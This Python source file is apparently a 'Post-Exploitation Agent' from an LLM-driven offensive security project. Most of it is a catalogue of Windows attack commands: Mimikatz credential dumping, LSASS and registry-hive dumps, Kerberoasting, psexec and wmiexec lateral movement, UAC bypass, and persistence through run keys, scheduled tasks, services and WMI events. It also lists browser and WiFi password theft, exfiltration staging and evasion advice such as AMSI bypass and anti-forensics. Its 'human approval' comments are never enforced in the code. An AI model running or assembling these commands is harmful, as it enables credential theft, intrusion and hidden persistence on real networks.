src/agents/post_exploit_agent.py

"""
Cyber-LLM Post-Exploitation Agent

Handles credential harvesting, lateral movement, and persistence operations.
Integrates with Mimikatz, BloodHound, and post-exploitation frameworks.

Author: Muzan Sano
Email: [email protected]
"""

import json
import logging
import subprocess
from typing import Dict, List, Any, Optional
from dataclasses import dataclass
from pydantic import BaseModel
import yaml
from datetime import datetime

# Configure logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class PostExploitRequest(BaseModel):
    target_system: str
    access_level: str  # "user", "admin", "system"
    objectives: List[str]
    constraints: Dict[str, Any]
    stealth_mode: bool = True

class PostExploitResponse(BaseModel):
    credential_harvest: Dict[str, Any]
    lateral_movement: Dict[str, Any]
    persistence: Dict[str, Any]
    exfiltration: Dict[str, Any]
    command_sequence: List[str]
    risk_assessment: Dict[str, Any]

class PostExploitAgent:
    """
    Advanced post-exploitation agent for credential harvesting,
    lateral movement, and persistence establishment.
    """
    
    def __init__(self, config_path: Optional[str] = None):
        self.config = self._load_config(config_path)
        self.techniques = self._load_techniques()
        self.persistence_methods = self._load_persistence_methods()
        
    def _load_config(self, config_path: Optional[str]) -> Dict[str, Any]:
        """Load post-exploitation configuration."""
        if config_path:
            with open(config_path, 'r') as f:
                return yaml.safe_load(f)
        return {
            "max_execution_time": 3600,
            "cleanup_on_exit": True,
            "log_operations": True
        }
    
    def _load_techniques(self) -> Dict[str, Any]:
        """Load post-exploitation techniques database."""
        return {
            "credential_harvest": {
                "mimikatz": {
                    "technique": "T1003.001",
                    "commands": [
                        "privilege::debug",
                        "sekurlsa::logonpasswords",
                        "sekurlsa::wdigest",
                        "sekurlsa::kerberos",
                        "sekurlsa::tspkg"
                    ],
                    "detection_risk": "high",
                    "requirements": ["admin_rights", "debug_privilege"]
                },
                "lsass_dump": {
                    "technique": "T1003.001",
                    "commands": [
                        "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump [PID] C:\\temp\\lsass.dmp full",
                        "reg save HKLM\\sam C:\\temp\\sam.hive",
                        "reg save HKLM\\security C:\\temp\\security.hive",
                        "reg save HKLM\\system C:\\temp\\system.hive"
                    ],
                    "detection_risk": "medium",
                    "requirements": ["admin_rights"]
                },
                "kerberoasting": {
                    "technique": "T1558.003",
                    "commands": [
                        "powershell -ep bypass",
                        "Import-Module .\\PowerView.ps1",
                        "Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat",
                        "Invoke-Kerberoast -OutputFormat HashCat"
                    ],
                    "detection_risk": "low",
                    "requirements": ["domain_user"]
                }
            },
            "lateral_movement": {
                "psexec": {
                    "technique": "T1021.002",
                    "command_template": "psexec.exe \\\\{target} -u {domain}\\{user} -p {password} cmd.exe",
                    "detection_risk": "high",
                    "requirements": ["admin_creds", "smb_access"]
                },
                "wmiexec": {
                    "technique": "T1047",
                    "command_template": "wmiexec.py {domain}/{user}:{password}@{target}",
                    "detection_risk": "medium",
                    "requirements": ["admin_creds", "wmi_access"]
                },
                "rdp": {
                    "technique": "T1021.001",
                    "commands": [
                        "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f",
                        "netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes"
                    ],
                    "detection_risk": "medium",
                    "requirements": ["admin_rights"]
                }
            },
            "privilege_escalation": {
                "uac_bypass": {
                    "technique": "T1548.002",
                    "methods": ["fodhelper", "computerdefaults", "sdclt"],
                    "detection_risk": "low"
                },
                "token_impersonation": {
                    "technique": "T1134",
                    "commands": [
                        "list tokens",
                        "impersonate_token {token}",
                        "getuid"
                    ],
                    "detection_risk": "medium"
                }
            }
        }
    
    def _load_persistence_methods(self) -> Dict[str, Any]:
        """Load persistence techniques."""
        return {
            "registry_run_keys": {
                "technique": "T1547.001",
                "commands": [
                    "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {name} /t REG_SZ /d {payload_path}",
                    "reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {name} /t REG_SZ /d {payload_path}"
                ],
                "detection_risk": "medium",
                "cleanup": "reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {name} /f"
            },
            "scheduled_task": {
                "technique": "T1053.005",
                "commands": [
                    "schtasks /create /tn {task_name} /tr {payload_path} /sc onlogon /ru system",
                    "schtasks /run /tn {task_name}"
                ],
                "detection_risk": "low",
                "cleanup": "schtasks /delete /tn {task_name} /f"
            },
            "service_creation": {
                "technique": "T1543.003",
                "commands": [
                    "sc create {service_name} binpath= {payload_path} start= auto",
                    "sc start {service_name}"
                ],
                "detection_risk": "high",
                "cleanup": "sc delete {service_name}"
            },
            "wmi_event": {
                "technique": "T1546.003",
                "commands": [
                    "powershell -c \"Register-WmiEvent -Query \\\"SELECT * FROM Win32_LogonSession\\\" -Action { Start-Process {payload_path} }\""
                ],
                "detection_risk": "low",
                "cleanup": "powershell -c \"Get-WmiEvent | Unregister-Event\""
            }
        }
    
    def analyze_bloodhound_data(self, bloodhound_json: Optional[str] = None) -> Dict[str, Any]:
        """
        Analyze BloodHound data for lateral movement opportunities.
        
        # HUMAN_APPROVAL_REQUIRED: Review lateral movement paths before execution
        """
        # Simulated BloodHound analysis (in practice, would parse actual data)
        analysis = {
            "high_value_targets": [
                {"name": "DC01.domain.local", "type": "Domain Controller", "priority": 1},
                {"name": "SQL01.domain.local", "type": "Database Server", "priority": 2},
                {"name": "FILE01.domain.local", "type": "File Server", "priority": 3}
            ],
            "attack_paths": [
                {
                    "path": "Current User -> Domain Admins",
                    "steps": [
                        "Kerberoast service accounts",
                        "Crack obtained hashes",
                        "Move to SQL01 with service account",
                        "Escalate via SQLi to SYSTEM",
                        "Extract cached domain admin credentials"
                    ],
                    "difficulty": "medium",
                    "detection_risk": "medium"
                }
            ],
            "vulnerable_accounts": [
                {"name": "svc-sql", "type": "Service Account", "spn": True, "admin": False},
                {"name": "backup-svc", "type": "Service Account", "spn": True, "admin": True}
            ],
            "group_memberships": {
                "domain_admins": ["administrator", "da-backup"],
                "server_operators": ["svc-backup", "svc-sql"],
                "account_operators": ["helpdesk1", "helpdesk2"]
            }
        }
        
        return analysis
    
    def plan_credential_harvest(self, access_level: str, stealth_mode: bool) -> Dict[str, Any]:
        """Plan credential harvesting operations based on access level."""
        harvest_plan = {
            "primary_techniques": [],
            "secondary_techniques": [],
            "stealth_considerations": [],
            "detection_risks": []
        }
        
        if access_level in ["admin", "system"]:
            # High privilege techniques
            if stealth_mode:
                harvest_plan["primary_techniques"].extend([
                    self.techniques["credential_harvest"]["lsass_dump"],
                    self.techniques["credential_harvest"]["kerberoasting"]
                ])
                harvest_plan["stealth_considerations"].extend([
                    "Use process hollowing to avoid direct Mimikatz execution",
                    "Implement AMSI bypass techniques",
                    "Use legitimate admin tools where possible"
                ])
            else:
                harvest_plan["primary_techniques"].append(
                    self.techniques["credential_harvest"]["mimikatz"]
                )
                
        else:
            # User-level techniques
            harvest_plan["primary_techniques"].append(
                self.techniques["credential_harvest"]["kerberoasting"]
            )
            harvest_plan["secondary_techniques"].extend([
                {
                    "technique": "Browser Credential Extraction",
                    "commands": ["powershell -c \"Get-ChromePasswords\""],
                    "detection_risk": "low"
                },
                {
                    "technique": "WiFi Password Extraction", 
                    "commands": ["netsh wlan show profiles", "netsh wlan show profile {profile} key=clear"],
                    "detection_risk": "very_low"
                }
            ])
            
        return harvest_plan
    
    def plan_lateral_movement(self, bloodhound_analysis: Dict[str, Any], credentials: List[Dict[str, Any]]) -> Dict[str, Any]:
        """Plan lateral movement strategy based on BloodHound analysis and available credentials."""
        
        movement_plan = {
            "target_systems": [],
            "movement_techniques": [],
            "escalation_path": [],
            "operational_notes": []
        }
        
        # Prioritize targets
        for target in bloodhound_analysis["high_value_targets"]:
            movement_plan["target_systems"].append({
                "hostname": target["name"],
                "priority": target["priority"],
                "access_methods": ["wmiexec", "psexec", "rdp"],
                "required_creds": "admin"
            })
            
        # Select movement techniques based on available credentials
        if any(cred.get("admin", False) for cred in credentials):
            movement_plan["movement_techniques"].extend([
                self.techniques["lateral_movement"]["wmiexec"],
                self.techniques["lateral_movement"]["psexec"]
            ])
        else:
            movement_plan["movement_techniques"].append({
                "technique": "T1021.004",
                "name": "SSH Lateral Movement",
                "command_template": "ssh {user}@{target}",
                "detection_risk": "low"
            })
            
        # Plan escalation path
        for path in bloodhound_analysis["attack_paths"]:
            movement_plan["escalation_path"].append({
                "path_name": path["path"],
                "steps": path["steps"],
                "estimated_time": "2-4 hours",
                "required_tools": ["PowerView", "Invoke-Kerberoast", "Hashcat"]
            })
            
        return movement_plan
    
    def plan_persistence(self, access_level: str, stealth_mode: bool) -> Dict[str, Any]:
        """Plan persistence mechanisms based on access level and stealth requirements."""
        
        persistence_plan = {
            "primary_methods": [],
            "backup_methods": [],
            "cleanup_commands": [],
            "monitoring_evasion": []
        }
        
        if access_level in ["admin", "system"]:
            if stealth_mode:
                # Stealthy high-privilege persistence
                persistence_plan["primary_methods"].extend([
                    self.persistence_methods["wmi_event"],
                    self.persistence_methods["scheduled_task"]
                ])
            else:
                # Standard high-privilege persistence
                persistence_plan["primary_methods"].extend([
                    self.persistence_methods["service_creation"],
                    self.persistence_methods["registry_run_keys"]
                ])
        else:
            # User-level persistence
            persistence_plan["primary_methods"].append(
                self.persistence_methods["registry_run_keys"]
            )
            
        # Add cleanup commands
        for method in persistence_plan["primary_methods"]:
            if "cleanup" in method:
                persistence_plan["cleanup_commands"].append(method["cleanup"])
                
        return persistence_plan
    
    def assess_detection_risk(self, operations: List[Dict[str, Any]]) -> Dict[str, Any]:
        """Assess overall detection risk of planned operations."""
        
        risk_levels = {"very_low": 1, "low": 2, "medium": 3, "high": 4, "very_high": 5}
        total_risk = 0
        operation_count = 0
        
        high_risk_operations = []
        
        for operation in operations:
            if "detection_risk" in operation:
                risk_score = risk_levels.get(operation["detection_risk"], 3)
                total_risk += risk_score
                operation_count += 1
                
                if risk_score >= 4:
                    high_risk_operations.append(operation.get("name", "Unknown Operation"))
                    
        average_risk = total_risk / max(operation_count, 1)
        
        risk_assessment = {
            "overall_risk_score": average_risk,
            "risk_level": "HIGH" if average_risk >= 3.5 else "MEDIUM" if average_risk >= 2.5 else "LOW",
            "high_risk_operations": high_risk_operations,
            "recommendations": []
        }
        
        if average_risk >= 3.5:
            risk_assessment["recommendations"].extend([
                "Consider using living-off-the-land techniques",
                "Implement anti-forensics measures",
                "Use process hollowing and injection techniques",
                "Rotate tools and techniques frequently"
            ])
            
        return risk_assessment
    
    def execute_post_exploitation(self, request: PostExploitRequest) -> PostExploitResponse:
        """
        Execute complete post-exploitation workflow.
        
        # HUMAN_APPROVAL_REQUIRED: Review post-exploitation plan before execution
        """
        logger.info(f"Starting post-exploitation on {request.target_system}")
        
        # Analyze BloodHound data
        bloodhound_analysis = self.analyze_bloodhound_data()
        
        # Plan operations
        credential_harvest = self.plan_credential_harvest(request.access_level, request.stealth_mode)
        
        # Simulate credentials (in practice, would come from harvest)
        mock_credentials = [
            {"username": "svc-sql", "password": "Service123!", "domain": "domain.local", "admin": False},
            {"username": "backup-svc", "password": "Backup456!", "domain": "domain.local", "admin": True}
        ]
        
        lateral_movement = self.plan_lateral_movement(bloodhound_analysis, mock_credentials)
        persistence = self.plan_persistence(request.access_level, request.stealth_mode)
        
        # Generate command sequence
        command_sequence = []
        
        # Credential harvest commands
        for technique in credential_harvest["primary_techniques"]:
            command_sequence.extend(technique.get("commands", []))
            
        # Lateral movement commands  
        for technique in lateral_movement["movement_techniques"]:
            if "command_template" in technique:
                command_sequence.append(f"# {technique.get('name', 'Lateral Movement')}")
                command_sequence.append(technique["command_template"])
                
        # Persistence commands
        for method in persistence["primary_methods"]:
            command_sequence.extend(method.get("commands", []))
            
        # Risk assessment
        all_operations = (credential_harvest["primary_techniques"] + 
                         lateral_movement["movement_techniques"] + 
                         persistence["primary_methods"])
        risk_assessment = self.assess_detection_risk(all_operations)
        
        # Exfiltration planning
        exfiltration = {
            "methods": ["DNS tunneling", "HTTPS upload", "Email exfiltration"],
            "targets": [
                "C:\\Users\\*\\Documents\\*.doc*",
                "C:\\Users\\*\\Desktop\\*.pdf",
                "Registry hives",
                "Browser saved passwords"
            ],
            "staging_location": "C:\\Windows\\Temp\\update.log",
            "encryption": "AES-256",
            "compression": True
        }
        
        response = PostExploitResponse(
            credential_harvest=credential_harvest,
            lateral_movement=lateral_movement,
            persistence=persistence,
            exfiltration=exfiltration,
            command_sequence=command_sequence,
            risk_assessment=risk_assessment
        )
        
        logger.info(f"Post-exploitation plan complete for {request.target_system}")
        return response

def main():
    """CLI interface for PostExploitAgent."""
    import argparse
    
    parser = argparse.ArgumentParser(description="Cyber-LLM Post-Exploitation Agent")
    parser.add_argument("--target", required=True, help="Target system identifier")
    parser.add_argument("--access-level", choices=["user", "admin", "system"], 
                       default="user", help="Current access level")
    parser.add_argument("--objectives", nargs="+", default=["credential_harvest", "lateral_movement"],
                       help="Post-exploitation objectives")
    parser.add_argument("--stealth", action="store_true", help="Enable stealth mode")
    parser.add_argument("--config", help="Path to configuration file")
    parser.add_argument("--output", help="Output file for results")
    
    args = parser.parse_args()
    
    # Initialize agent
    agent = PostExploitAgent(config_path=args.config)
    
    # Create request
    request = PostExploitRequest(
        target_system=args.target,
        access_level=args.access_level,
        objectives=args.objectives,
        constraints={},
        stealth_mode=args.stealth
    )
    
    # Execute post-exploitation
    response = agent.execute_post_exploitation(request)
    
    # Output results
    result = {
        "target": args.target,
        "credential_harvest": response.credential_harvest,
        "lateral_movement": response.lateral_movement,
        "persistence": response.persistence,
        "exfiltration": response.exfiltration,
        "command_sequence": response.command_sequence,
        "risk_assessment": response.risk_assessment
    }
    
    if args.output:
        with open(args.output, 'w') as f:
            json.dump(result, f, indent=2)
        print(f"Post-exploitation plan saved to {args.output}")
    else:
        print(json.dumps(result, indent=2))

if __name__ == "__main__":
    main()